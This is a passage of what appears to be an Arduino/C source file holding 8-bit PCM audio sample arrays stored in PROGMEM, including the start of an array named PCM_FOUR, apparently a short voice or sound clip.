0x71,0x68,0x5d,0x43,0x37,0x42,0x4c,0x4f,0x55,0x68,0x82,0x8e,0x98,0xaa,0xbd,0xbd,0xb5,0xbe,0xc2,0xae,0x96,0x9b,0xa0\n,0x8a,0x70,0x78,0x8a,0x83,0x78,0x86,0x9f,0xa0,0x99,0xa3,0xb0,0xaa,0x9b,0x95,0x8d,0x7a,0x65,0x59,0x4d,0x3a,0x2b,0x25,0x22,0x1d,0x1c,0x26,0x42,0x4d,0x51,0x72,0x94\n,0xa1,0xa8,0xbb,0xd2,0xd2,0xbe,0xc0,0xc0,0xa5,0x8c,0x80,0x7a,0x66,0x4d,0x4f,0x5c,0x56,0x53,0x60,0x72,0x7c,0x7b,0x89,0x98,0xa2,0xa4,0xa5,0xb0,0xad,0xa1,0x9b,0xa3\n,0x9c,0x89,0x86,0x90,0x8f,0x7f,0x83,0x91,0x96,0x90,0x96,0x9f,0xa0,0x9a,0x96,0x93,0x85,0x7c,0x71,0x65,0x57,0x4f,0x44,0x35,0x2e,0x2b,0x27,0x21,0x29,0x40,0x44,0x47\n,0x6a,0x7c,0x84,0x9b,0xb3,0xc2,0xbe,0xbe,0xce,0xc1,0xa7,0xa1,0x99,0x86,0x70,0x63,0x67,0x5f,0x4e,0x57,0x61,0x64,0x67,0x70,0x82,0x8a,0x8c,0x9b,0xa7,0xa6,0xa6,0xad\n,0xad,0xa5,0xa1,0xa3,0x9e,0x92,0x8f,0x91,0x8c,0x88,0x8b,0x8f,0x90,0x91,0x95,0x99,0x98,0x97,0x93,0x8b,0x86,0x7f,0x71,0x61,0x59,0x4f,0x41,0x34,0x2d,0x27,0x23,0x2a\n,0x38,0x38,0x41,0x63,0x75,0x7e,0x96,0xb1,0xbf,0xc1,0xc8,0xd6,0xc8,0xb5,0xb3,0xa6,0x8e,0x7c,0x75,0x6c,0x5c,0x54,0x5d,0x5c,0x5a,0x66,0x72,0x78,0x7e,0x8d,0x99,0x9f\n,0xa3,0xac,0xae,0xa9,0xab,0xaa,0xa0,0x97,0x97,0x91,0x86,0x81,0x83,0x82,0x80,0x88,0x8d,0x8e,0x95,0x9e,0x9d,0x99,0x9a,0x97,0x8b,0x7e,0x75,0x66,0x55,0x4a,0x3f,0x31\n,0x28,0x25,0x23,0x21,0x25,0x3a,0x40,0x47,0x66,0x77,0x82,0x98,0xad,0xba,0xbc,0xbd,0xc9,0xbb,0xa9,0xa9,0x9c,0x89,0x7e,0x77,0x70,0x66,0x65,0x6e,0x6a,0x6a,0x78,0x81\n,0x81,0x86,0x90,0x97,0x93,0x9a,0x9e,0x97,0x96,0x9b,0x99,0x90,0x91,0x91,0x8f,0x8e,0x90,0x91,0x94,0x9a,0x9e,0x9d,0xa0,0xa6,0xa3,0x9f,0x9c,0x98,0x8d,0x83,0x79,0x6e\n,0x61,0x56,0x4e,0x47,0x41,0x3c,0x3b,0x3d,0x3d,0x3f,0x42,0x49,0x56,0x56,0x5b,0x6f,0x74,0x7b,0x8b,0x94,0xa0,0xa6,0xac,0xb5,0xb1,0xb0,0xb4,0xa7,0xa0,0x9e,0x93,0x8d\n,0x85,0x7f,0x7c,0x74,0x74,0x76,0x6c,0x6c,0x72,0x71,0x70,0x74,0x7e,0x80,0x83,0x8c,0x95,0x98,0x9b,0xa1,0xa4,0xa3,0xa2,0xa1,0xa0,0x9c,0x96,0x94,0x91,0x8d,0x89,0x86\n,0x83,0x7f,0x7b,0x78,0x73,0x6e,0x69,0x64,0x5e,0x59,0x54,0x50,0x4e,0x48,0x45,0x44,0x43,0x40,0x40,0x49,0x50,0x4b,0x5e,0x6e,0x6e,0x84,0x95,0x9e,0xad,0xb5,0xbf,0xc3\n,0xbc,0xc2,0xbb,0xac,0xaa,0x9f,0x91,0x8b,0x80,0x7a,0x75,0x6d,0x6f,0x6b,0x6a,0x70,0x6f,0x71,0x79,0x7f,0x85,0x86,0x92,0x98,0x9a,0x9d,0xa2,0xa4,0xa2,0xa3,0x9f,0x9e\n,0x9a,0x96,0x93,0x91,0x8c,0x8b,0x89,0x87,0x82,0x81,0x80,0x79,0x75,0x72,0x6e,0x67,0x65,0x60,0x5b,0x59,0x57,0x52,0x50,0x4f,0x4d,0x4a,0x4c,0x4f,0x52,0x55,0x5b,0x69\n,0x6f,0x79,0x8b,0x97,0xa2,0xad,0xb5,0xbc,0xbd,0xbd,0xbc,0xb4,0xac,0xa7,0x9c,0x90,0x88,0x80,0x77,0x6e,0x6a,0x66,0x61,0x5f,0x63,0x62,0x63,0x6b,0x71,0x77,0x7b,0x87\n,0x8d,0x93,0x99,0x9f,0xa2,0xa2,0xa3,0xa1,0x9e,0x9a,0x95,0x90,0x8c,0x85,0x83,0x7e,0x7a,0x77,0x75,0x74,0x70,0x6d,0x6c,0x69,0x66,0x64,0x61,0x5f,0x5d,0x5b,0x58,0x57\n,0x54,0x53,0x52,0x50,0x52,0x57,0x5b,0x5d,0x6c,0x77,0x7e,0x90,0x9b,0xa7,0xb3,0xb8,0xc1,0xc0,0xbd,0xbf,0xb3,0xa9,0xa4,0x98,0x8e,0x83,0x7c,0x77,0x6d,0x6a,0x6a,0x66\n,0x66,0x69,0x6a,0x6d,0x71,0x7a,0x7c,0x81,0x8b,0x90,0x95,0x9a,0x9f,0xa2,0xa2,0xa3,0xa2,0xa0,0x9d,0x99,0x96,0x92,0x8d,0x89,0x86,0x82,0x7d,0x7b,0x77,0x72,0x6f,0x6d\n,0x69,0x65,0x64,0x63,0x61,0x61,0x62,0x62,0x62,0x63,0x63,0x63,0x63,0x63,0x62,0x63,0x68,0x67,0x6c,0x76,0x76,0x82,0x89,0x8f,0x9a,0x9c,0xa3,0xa8,0xa4,0xa7,0xa4,0x9c\n,0x9a,0x92,0x8d,0x87,0x7f,0x7b,0x74,0x70,0x6d,0x69,0x66,0x66,0x65,0x67,0x68,0x6e,0x72,0x77,0x81,0x84,0x8f,0x94,0x9a,0xa0,0xa3,0xa6,0xa5,0xa3,0xa1,0x9d,0x99,0x94\n,0x8d,0x89,0x83,0x7f,0x7a,0x76,0x73,0x70,0x6f,0x6e,0x6d,0x6d,0x6f,0x70,0x71,0x72,0x74,0x76,0x76,0x76,0x75,0x73,0x72,0x6f,0x6c,0x6a,0x69,0x69,0x6a,0x6a,0x71,0x76\n,0x7b,0x85,0x8b,0x95,0x9a,0xa0,0xa5,0xa6,0xa5,0xa5,0xa1,0x9d,0x96,0x91,0x8b,0x83,0x7f,0x79,0x74,0x71,0x6f,0x6d,0x6c,0x6d,0x70,0x73,0x76,0x7c,0x83,0x86,0x8e,0x95\n,0x97,0x9c,0x9f,0xa1,0xa0,0x9f,0x9d,0x98,0x94,0x90,0x8a,0x87,0x83,0x7f,0x7b,0x7a,0x79,0x76,0x76,0x76,0x75,0x75,0x74,0x74,0x74,0x73,0x73,0x71,0x71,0x71,0x70,0x6f\n,0x6f,0x6d,0x6c,0x6b,0x69,0x6a,0x6a,0x68,0x6c,0x6d,0x6e,0x74,0x76,0x7e,0x80,0x85,0x8c,0x8d,0x90,0x93,0x91,0x92,0x90,0x8e,0x8c,0x88,0x87,0x83,0x80,0x7f,0x7c,0x7a\n,0x79,0x79,0x78,0x79,0x78,0x79,0x7e,0x7d,0x83,0x84,0x89,0x8d,0x8f,0x92,0x94,0x95,0x96,0x96,0x95,0x94,0x92,0x92,0x8d,0x8c,0x89,0x88,0x84,0x82,0x81,0x7e,0x7c,0x7b\n,0x7a,0x78,0x77,0x76,0x76,0x75,0x75,0x75,0x75,0x75,0x77,0x76,0x76,0x77,0x77,0x75,0x75,0x74,0x74,0x73,0x71,0x75,0x74,0x76,0x78,0x7c,0x7f,0x81,0x87,0x89,0x8b,0x8e\n,0x8f,0x91,0x90,0x8f,0x8f,0x8c,0x8b,0x89,0x85,0x84,0x82,0x80,0x7d,0x7d,0x7c,0x7b,0x7c,0x7c,0x7e,0x7f,0x81,0x83,0x85,0x87,0x88,0x8b,0x8b,0x8b,0x8b,0x8b,0x89,0x87\n,0x87,0x85,0x82,0x82,0x80,0x7f,0x7e,0x7e,0x7c,0x7b,0x7b,0x7a,0x78,0x77,0x77,0x75,0x74,0x73,0x73,0x72,0x72,0x72,0x73,0x73,0x74,0x75,0x75,0x76,0x76,0x76,0x76,0x76\n,0x75,0x75,0x75,0x74,0x76,0x75,0x76,0x7b,0x7a,0x7e,0x82,0x83,0x88,0x89,0x8c,0x8e,0x8d,0x90,0x8f,0x8e,0x8f,0x8c,0x8b,0x89,0x88,0x87,0x83,0x84,0x81,0x80,0x80,0x7f\n,0x7f,0x7f,0x81,0x82,0x83,0x85,0x86,0x87,0x89,0x88,0x89,0x89,0x89,0x87,0x86,0x86,0x83,0x82,0x81,0x80,0x7e,0x7d,0x7c,0x7b,0x7a,0x7a,0x7a,0x79,0x78,0x78,0x78,0x77\n,0x78,0x78,0x78,0x78,0x78,0x79,0x79,0x79,0x79,0x79,0x79,0x79,0x79,0x78,0x78,0x78,0x78,0x78,0x79,0x79,0x7b,0x7b,0x7e,0x80,0x81,0x85,0x86,0x88,0x8a,0x8b,0x8d,0x8d\n,0x8d,0x8d,0x8b,0x8b,0x8a,0x87,0x87,0x85,0x83,0x81,0x81,0x7f,0x7e,0x7e,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7e,0x7e,0x7f,0x7f,0x80,0x80\n,0x80,0x81,0x80,0x80,0x7f,0x7e,0x7e,0x7c,0x7c,0x7a,0x79,0x79,0x77,0x77,0x77,0x76,0x76,0x76,0x77,0x77,0x78,0x79,0x7a,0x7b,0x7d,0x7d,0x7f,0x80,0x80,0x82,0x82,0x82\n,0x83,0x83,0x84,0x84,0x84,0x85,0x85,0x85,0x86,0x86,0x87,0x88,0x88,0x89,0x89,0x89,0x89,0x89,0x88,0x88,0x87,0x86,0x84,0x83,0x82,0x81,0x80,0x7f,0x7e,0x7d,0x7d,0x7c\n,0x7c,0x7c,0x7c,0x7d,0x7d,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7d,0x7d,0x7c,0x7b,0x7a,0x79,0x79,0x79,0x78,0x79,0x79,0x79,0x7a,0x7a\n,0x7b,0x7c,0x7c,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x82,0x82,0x83,0x83,0x83,0x83,0x84,0x84,0x83,0x83,0x83,0x83,0x82,0x82,0x82,0x82\n,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x80};\n\nconst char unsigned PROGMEM PCM_FOUR[]={\n0x81,0x80,0x80,0x7f,0x7f,0x7f,0x80,0x81,0x81,0x81,0x82,0x82,0x82,0x81,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7f,0x80,0x80,0x81,0x80,0x7f,0x7e,0x7c,0x7c,0x7c\n,0x7c,0x7d,0x7d,0x7f,0x80,0x81,0x81,0x80,0x80,0x7e,0x7e,0x7d,0x7c,0x7b,0x7b,0x7a,0x7a,0x7a,0x7a,0x7b,0x7c,0x7d,0x7e,0x80,0x81,0x82,0x83,0x83,0x83,0x83,0x83,0x83\n,0x83,0x84,0x85,0x86,0x88,0x88,0x88,0x88,0x88,0x88,0x88,0x87,0x86,0x85,0x83,0x81,0x7e,0x7c,0x7a,0x79,0x77,0x76,0x74,0x72,0x6e,0x6b,0x67,0x63,0x5f,0x5b,0x5a,0x5a\n,0x5f,0x6b,0x78,0x89,0x99,0xa6,0xae,0xaf,0xab,0xa3,0x98,0x8d,0x82,0x79,0x73,0x6e,0x6b,0x6b,0x6c,0x71,0x7c,0x88,0x97,0xa5,0xaf,0xb4,0xb0,0xa7,0x99,0x8a,0x7e,0x76\n,0x71,0x70,0x72,0x74,0x78,0x7d,0x83,0x87,0x8b,0x8d,0x8b,0x86,0x7c,0x6e,0x5c,0x49,0x38,0x2b,0x28,0x34,0x49,0x67,0x89,0xa6,0xbc,0xc8,0xc9,0xc1,0xb3,0xa3,0x94,0x84\n,0x78,0x6d,0x63,0x5d,0x58,0x58,0x5c,0x65,0x72,0x82,0x90,0x9d,0xa6,0xa9,0xa7,0xa1,0x99,0x8e,0x84,0x7b,0x74,0x6f,0x6e,0x6f,0x75,0x7c,0x86,0x90,0x98,0x9f,0xa2,0xa2\n,0x9e,0x96,0x8c,0x80,0x72,0x66,0x5b,0x50,0x45,0x3b,0x31,0x28,0x23,0x2b,0x3b,0x53,0x79,0x9d,0xbe,0xda,0xe7,0xe7,0xda,0xc2,0xa7,0x89,0x6d,0x5a,0x4a,0x44,0x43,0x47\n,0x50,0x5b,0x6a,0x7b,0x8e,0xa2,0xb4,0xc2,0xca,0xc9,0xbe,0xac,0x94,0x7b,0x65,0x57,0x51,0x54,0x5f,0x70,0x82,0x94,0xa4,0xaf,0xb6,0xb4,0xae,0xa0,0x8e,0x78,0x61,0x4b\n,0x36,0x24,0x16,0x0e,0x12,0x24,0x3c,0x63,0x8c,0xb3,0xd8,0xef,0xfa,0xf7,0xe7,0xce,0xaf,0x8b,0x6e,0x52,0x3f,0x36,0x33,0x3b,0x49,0x5b,0x71,0x85,0x99,0xa9,0xb4,0xbb\n,0xba,0xb4,0xa8,0x99,0x87,0x76,0x67,0x5c,0x58,0x5a,0x63,0x71,0x83,0x96,0xa6,0xb2,0xb9,0xb9,0xb2,0xa4,0x93,0x7e,0x68,0x55,0x44,0x36,0x2a,0x21,0x1a,0x17,0x20,0x33\n,0x4d,0x75,0x9c,0xc2,0xe3,0xf5,0xfc,0xf3,0xde,0xc1,0x9d,0x7a,0x5d,0x43,0x35,0x2f,0x32,0x3d,0x4d,0x61,0x76,0x89,0x9b,0xa9,0xb1,0xb7,0xb6,0xb0,0xa6,0x98,0x87,0x77\n,0x68,0x5d,0x58,0x5a,0x64,0x73,0x87,0x9c,0xae,0xbc,0xc2,0xc1,0xb7,0xa7,0x93,0x7d,0x68,0x56,0x48,0x3c,0x32,0x29,0x22,0x1d,0x1e,0x2c,0x42,0x63,0x8d,0xb4,0xd9,0xf4\n,0xff,0xfc,0xe9,0xcb,0xa7,0x80,0x60,0x47,0x36,0x34,0x38,0x45,0x56,0x69,0x7c,0x8e,0x9c,0xa7,0xac,0xae,0xab,0xa5,0x9b,0x8e,0x82,0x75,0x6b,0x65,0x62,0x65,0x6c,0x79\n,0x88,0x99,0xa9,0xb6,0xbe,0xbf,0xb8,0xab,0x99,0x84,0x70,0x60,0x53,0x4c,0x49,0x48,0x47,0x43,0x3d,0x36,0x30,0x33,0x40,0x56,0x79,0x9f,0xc3,0xe2,0xf2,0xf3,0xe4,0xc7\n,0xa5,0x80,0x5e,0x49,0x3a,0x37,0x3e,0x49,0x58,0x67,0x75,0x83,0x8e,0x97,0xa0,0xa5,0xa7,0xa5,0x9e,0x93,0x84,0x77,0x6a,0x63,0x61,0x65,0x6f,0x7d,0x8e,0x9f,0xae,0xb8\n,0xbd,0xbb,0xb3,0xa6,0x97,0x87,0x76,0x69,0x5e,0x56,0x53,0x52,0x52,0x53,0x51,0x4d,0x47,0x40,0x3d,0x45,0x54,0x6c,0x8d,0xac,0xc9,0xdd,0xe4,0xde,0xcd,0xb2,0x96,0x79\n,0x62,0x54,0x4a,0x4a,0x4f,0x57,0x62,0x6d,0x78,0x84,0x90,0x9a,0xa4,0xa8,0xaa,0xa5,0x9e,0x93,0x87,0x7d,0x75,0x72,0x73,0x78,0x81,0x8b,0x98,0xa2,0xab,0xb0,0xb1,0xae\n,0xa6,0x9b,0x8d,0x7f,0x72,0x68,0x61,0x5e,0x5d,0x5e,0x5f,0x60,0x5e,0x5a,0x53,0x4b,0x44,0x3f,0x44,0x51,0x62,0x7d,0x97,0xaf,0xc3,0xca,0xca,0xc0,0xad,0x98,0x82,0x6b\n,0x5b,0x4e,0x48,0x48,0x4c,0x56,0x62,0x70,0x7f,0x8d,0x99,0xa4,0xa9,0xab,0xa8,0xa2,0x99,0x8e,0x84,0x7c,0x77,0x74,0x76,0x7b,0x82,0x8b,0x94,0x9b,0xa1,0xa3,0xa2,0x9e\n,0x98,0x90,0x87,0x7f,0x78,0x74,0x70,0x6d,0x6c,0x69,0x67,0x63,0x60,0x5a,0x53,0x4b,0x43,0x3c,0x3e,0x49,0x59,0x74,0x91,0xac,0xc4,0xd0,0xd2,0xc9,0xb4,0x9c,0x83,0x69\n,0x58,0x4e,0x4b,0x4f,0x57,0x63,0x6f,0x7c,0x8a,0x97,0xa2,0xad,0xb3,0xb5,0xb2,0xaa,0x9e,0x8f,0x82,0x76,0x6f,0x6d,0x70,0x79,0x82,0x8e,0x99,0xa2,0xa8,0xac,0xac,0xa9\n,0xa3,0x9a,0x90,0x84,0x7a,0x71,0x6c,0x68,0x67,0x66,0x65,0x63,0x61,0x5e,0x5a,0x56,0x52,0x4c,0x48,0x46,0x4e,0x5a,0x6a,0x82,0x97,0xaa,0xb8,0xbc,0xb8,0xad,0x9b,0x89\n,0x75,0x64,0x5a,0x53,0x52,0x57,0x5f,0x6b,0x79,0x87,0x96,0xa1,0xaa,0xaf,0xad,0xa7,0x9d,0x91,0x84,0x79,0x73,0x70,0x72,0x77,0x7f,0x88,0x90,0x99,0xa1,0xa6,0xa9,0xa9\n,0xa5,0x9e,0x92,0x85,0x79,0x6d,0x66,0x62,0x63,0x67,0x6c,0x72,0x76,0x77,0x78,0x75,0x6e,0x67,0x5d,0x51,0x45,0x3a,0x37,0x3e,0x4c,0x63,0x80,0x9b,0xb3,0xc4,0xc9,0xc5\n,0xb7,0xa2,0x8d,0x78,0x67,0x5d,0x58,0x59,0x5f,0x69,0x76,0x83,0x91,0x9f,0xaa,0xb1,0xb4,0xb1,0xa9,0x9c,0x8e,0x81,0x76,0x72,0x72,0x78,0x81,0x8b,0x96,0x9f,0xa6,0xaa\n,0xaa,0xa8,0xa2,0x99,0x8e,0x82,0x78,0x71,0x6d,0x6f,0x74,0x7b,0x82,0x87,0x88,0x83,0x7b,0x70,0x63,0x57,0x4c,0x43,0x3b,0x34,0x31,0x31,0x38,0x49,0x60,0x7c,0x9a,0xb3\n,0xc5,0xcc,0xc6,0xb7,0xa0,0x85,0x6f,0x5c,0x50,0x4d,0x4f,0x58,0x64,0x71,0x81,0x8f,0x9c,0xa8,0xb0,0xb3,0xb1,0xa7,0x9a,0x88,0x78,0x6c,0x65,0x65,0x6c,0x78,0x86,0x92\n,0x9d,0xa4,0xa8,0xa8,0xa5,0xa0,0x98,0x8f,0x86,0x7d,0x76,0x73,0x74,0x78,0x7f,0x86,0x8c,0x8e,0x8a,0x83,0x78,0x6b,0x60,0x57,0x51,0x4e,0x4c,0x4a,0x49,0x47,0x45,0x46\n,0x4f,0x62,0x78,0x92,0xab,0xbb,0xc3,0xbd,0xaf,0x9c,0x86,0x73,0x67,0x60,0x60,0x64,0x69,0x72,0x7b,0x85,0x93,0xa0,0xac,0xb7,0xbb,0xb9,0xaf,0x9e,0x8b,0x77,0x68,0x60\n,0x61,0x69,0x76,0x83,0x8f,0x98,0x9e,0xa1,0xa5,0xa7,0xa8,0xa8,0xa3,0x9b,0x90,0x83,0x79,0x72,0x72,0x76,0x7e,0x86,0x8b,0x8a,0x83,0x77,0x6a,0x5e,0x56,0x53,0x54,0x58\n,0x5e,0x62,0x63,0x62,0x5e,0x57,0x52,0x50,0x57,0x65,0x75,0x88,0x96,0x9e,0xa2,0x9e,0x98,0x93,0x8c,0x87,0x83,0x7e,0x7a,0x77,0x74,0x76,0x7b,0x84,0x90,0x9b,0xa2,0xa4\n,0x9e,0x95,0x87,0x79,0x6f,0x69,0x69,0x6e,0x76,0x7f,0x87,0x8d,0x92,0x97,0x9c,0x9f,0xa1,0xa1,0x9d,0x95,0x8b,0x82,0x7a,0x76,0x76,0x7a,0x80,0x85,0x8a,0x8c,0x89,0x84\n,0x7c,0x74,0x6c,0x66,0x62,0x62,0x64,0x67,0x6b,0x6d,0x6d,0x68,0x61,0x59,0x51,0x4b,0x4b,0x55,0x69,0x7f,0x95,0xa7,0xb2,0xb6,0xb2,0xab,0xa5,0x9d,0x94,0x8b,0x80,0x74\n,0x6a,0x63,0x67,0x71,0x81,0x96,0xa8,0xb2,0xb3,0xaa,0x9c,0x8b,0x7a,0x6e,0x68,0x65,0x66,0x6b,0x74,0x7e,0x87,0x90,0x9a,0xa2,0xa6,0xa7,0xa3,0x9c,0x91,0x85,0x7b,0x74\n,0x72,0x73,0x78,0x7e,0x83,0x86,0x86,0x83,0x7d,0x76,0x70,0x6b,0x67,0x64,0x63,0x63,0x64,0x64,0x64,0x64,0x63,0x5f,0x5a,0x55,0x52,0x52,0x5a,0x6c,0x80,0x94,0xa3,0xad\n,0xb3,0xb1,0xaa,0xa2,0x98,0x8a,0x7c,0x6f,0x66,0x62,0x63,0x6d,0x7d,0x8d,0x9a,0xa2,0xa3,0x9f,0x96,0x8b,0x82,0x79,0x70,0x67,0x61,0x61,0x65,0x70,0x7f,0x90,0x9e,0xa7\n,0xaa,0xa7,0xa1,0x97,0x8d,0x86,0x80,0x7b,0x79,0x78,0x79,0x7c,0x81,0x87,0x8c,0x8e,0x8b,0x85,0x7d,0x75,0x6d,0x68,0x66,0x66,0x67,0x69,0x6c,0x70,0x73,0x76,0x76,0x72\n,0x6b,0x61,0x58,0x53,0x56,0x65,0x7d,0x95,0xa8,0xb3,0xb6,0xb4,0xab,0xa0,0x97,0x8e,0x81,0x73,0x63,0x5a,0x58,0x5e,0x6e,0x84,0x99,0xa8,0xad,0xaa,0xa2,0x94,0x86,0x79\n,0x6d,0x63,0x5b,0x58,0x5e,0x6b,0x7b,0x8d,0x9b,0xa5,0xa7,0xa3,0x9e,0x99,0x93,0x8d,0x86,0x7d,0x75,0x6e,0x6d,0x71,0x7a,0x84,0x8a,0x8c,0x88,0x80,0x76,0x6f,0x6c,0x6b\n,0x6b,0x6b,0x6c,0x6d,0x70,0x74,0x7a,0x7e,0x7e,0x79,0x6f,0x64,0x5a,0x52,0x51,0x57,0x66,0x7c,0x91,0xa0,0xa8,0xaa,0xab,0xa7,0x9e,0x95,0x8a,0x7b,0x6b,0x5d,0x58,0x5d\n,0x6a,0x7b,0x8e,0x9d,0xa4,0xa4,0x9d,0x96,0x8e,0x85,0x7b,0x70,0x66,0x60,0x5f,0x67,0x77,0x8a,0x99,0xa1,0xa4,0xa3,0xa0,0x9b,0x96,0x90,0x88,0x7e,0x73,0x6d,0x6f,0x77\n,0x81,0x8a,0x91,0x92,0x8f,0x89,0x84,0x80,0x7c,0x77,0x72,0x6e,0x6c,0x6d,0x73,0x7b,0x82,0x86,0x85,0x81,0x7c,0x77,0x71,0x6b,0x65,0x61,0x5e,0x5b,0x5c,0x62,0x71,0x88\n,0x9d,0xab,0xae,0xa9,0xa2,0x98,0x8c,0x81,0x76,0x6c,0x63,0x5c,0x5c,0x66,0x76,0x87,0x95,0x9e,0xa3,0xa2,0x9b,0x93,0x8a,0x80,0x74,0x66,0x5c,0x5a,0x60,0x6c,0x7d,0x8f\n,0x9c,0xa0,0x9d,0x98,0x95,0x92,0x8c,0x84,0x7b,0x74,0x6e,0x6e,0x74,0x7f,0x89,0x8e,0x8f,0x8d,0x8b,0x87,0x82,0x7c,0x76,0x6e,0x67,0x64,0x67,0x6f,0x78,0x7e,0x82,0x85\n,0x86,0x86,0x83,0x7f,0x78,0x6e,0x63,0x5b,0x58,0x5a,0x60,0x69,0x77,0x89,0x9a,0xa4,0xa8,0xa6,0xa3,0x9d,0x92,0x84,0x76,0x6b,0x64,0x62,0x66,0x72,0x81,0x8f,0x99,0x9f\n,0xa3,0xa4,0xa0,0x96,0x8b,0x7e,0x72,0x66,0x60,0x62,0x6d,0x7a,0x86,0x8f,0x97,0x9c,0x9e,0x9c,0x98,0x92,0x8a,0x80,0x77,0x73,0x74,0x79,0x7e,0x82,0x85,0x88,0x89,0x89\n,0x89,0x87,0x83,0x7b,0x72,0x6d,0x6c,0x6f,0x74,0x79,0x7d,0x80,0x82,0x83,0x84,0x84,0x81,0x79,0x70,0x68,0x64,0x62,0x61,0x61,0x63,0x68,0x6e,0x76,0x83,0x93,0x9e,0x9f\n,0x97,0x8e,0x89,0x86,0x7f,0x77,0x70,0x6c,0x6b,0x6e,0x77,0x83,0x90,0x98,0x98,0x95,0x93,0x90,0x8b,0x82,0x77,0x6e,0x68,0x68,0x6d,0x76,0x7f,0x87,0x8b,0x8e,0x91,0x93\n,0x93,0x90,0x89,0x82,0x7c,0x78,0x78,0x7a,0x7e,0x82,0x83,0x84,0x85,0x86,0x86,0x85,0x82,0x7e,0x7a,0x76,0x74,0x74,0x77,0x7a,0x7c,0x7e,0x80,0x82,0x84,0x84,0x81,0x7d\n,0x77,0x73,0x70,0x6f,0x6f,0x70,0x70,0x70,0x72,0x75,0x79,0x7e,0x83,0x89,0x8e,0x91,0x91,0x8e,0x8c,0x8c,0x8b,0x86,0x80,0x7b,0x79,0x7a,0x7c,0x7f,0x82,0x86,0x89,0x8b\n,0x8c,0x8d,0x8c,0x89,0x83,0x7c,0x79,0x7a,0x7d,0x7f,0x7d,0x7c,0x7f,0x84,0x8a,0x8c,0x8a,0x87,0x84,0x82,0x82,0x83,0x84,0x83,0x7f,0x7a,0x78,0x78,0x7b,0x7d,0x7c,0x7a\n,0x79,0x79,0x7a,0x7b,0x7a,0x79,0x77,0x75,0x74,0x74,0x75,0x77,0x77,0x78,0x78,0x7a,0x7a,0x78,0x76,0x76,0x78,0x79,0x78,0x74,0x70,0x6e,0x70,0x75,0x7c,0x84,0x8a,0x8d\n,0x8d,0x8d,0x8f,0x91,0x90,0x8a,0x80,0x79,0x76,0x77,0x79,0x7b,0x7e,0x81,0x85,0x8a,0x8e,0x90,0x8f,0x8b,0x86,0x84,0x84,0x84,0x83,0x7f,0x7c,0x7d,0x81,0x87,0x8b,0x8b\n,0x8a,0x89,0x89,0x88,0x87,0x86,0x83,0x80,0x7c,0x79,0x78,0x79,0x7a,0x7b,0x7b,0x7d,0x80,0x82,0x82,0x7f,0x7c,0x7b,0x7a,0x7a,0x79,0x79,0x78,0x78,0x78,0x78,0x7a,0x7c\n,0x7d,0x7c,0x7b,0x7a,0x79,0x79,0x78,0x76,0x75,0x76,0x7a,0x80,0x86,0x8a,0x8b,0x8b,0x8a,0x8b,0x8b,0x88,0x83,0x7d,0x79,0x78,0x7a,0x7c,0x7e,0x7f,0x80,0x82,0x85,0x88\n,0x8b,0x8c,0x8b,0x88,0x83,0x7d,0x7b,0x7b,0x7c,0x7c,0x7a,0x7a,0x7d,0x82,0x86,0x86,0x85,0x84,0x83,0x82,0x7f,0x7c,0x7a,0x78,0x76,0x75,0x75,0x77,0x79,0x7a,0x7a,0x7a\n,0x7c,0x7e,0x7e,0x7c,0x79,0x77,0x77,0x78,0x78,0x78,0x78,0x78,0x79,0x7b,0x7c,0x7d,0x7d,0x7e,0x7f,0x7e,0x7e,0x7d,0x7c,0x7c,0x7c,0x7d,0x7e,0x81,0x84,0x86,0x87,0x88\n,0x8a,0x8b,0x8b,0x89,0x88,0x87,0x87,0x87,0x86,0x86,0x85,0x86,0x85,0x85,0x86,0x86,0x86,0x85,0x84,0x83,0x82,0x82,0x82,0x82,0x82,0x81,0x80,0x80,0x81,0x81,0x82,0x82\n,0x80,0x7f,0x7e,0x7e,0x7f,0x7f,0x7e,0x7c,0x7b,0x7b,0x7b,0x7c,0x7c,0x7c,0x7c,0x7b,0x7a,0x7a,0x7b,0x7b,0x7b,0x7a,0x79,0x79,0x79,0x7a,0x7a,0x7a,0x7a,0x7b,0x7c,0x7d\n,0x7e,0x7e,0x7f,0x80,0x80,0x80,0x81,0x81,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x81,0x82,0x84,0x85,0x85,0x85,0x85,0x85,0x84,0x82,0x81,0x80,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x80,0x81,0x81,0x81,0x81,0x81,0x80,0x7f,0x7e,0x7e,0x7d,0x7d,0x7c,0x7c,0x7c,0x7d,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7e,0x7d,0x7d,0x7c,0x7c,0x7b,0x7a,0x7b,0x7c\n,0x7e,0x7f,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x7f,0x7f,0x80,0x81,0x81,0x81,0x82,0x83,0x83,0x84,0x84,0x84,0x84,0x83,0x83,0x82,0x82,0x82,0x82,0x82,0x82\n,0x82,0x83,0x84,0x84,0x84,0x84,0x84,0x83,0x83,0x82,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7d,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b\n,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7d,0x7b,0x7b,0x7b,0x7b,0x7c,0x7b,0x7b,0x7b,0x7c,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f\n,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80\n,0x80,0x80,0x80,0x80,0x80,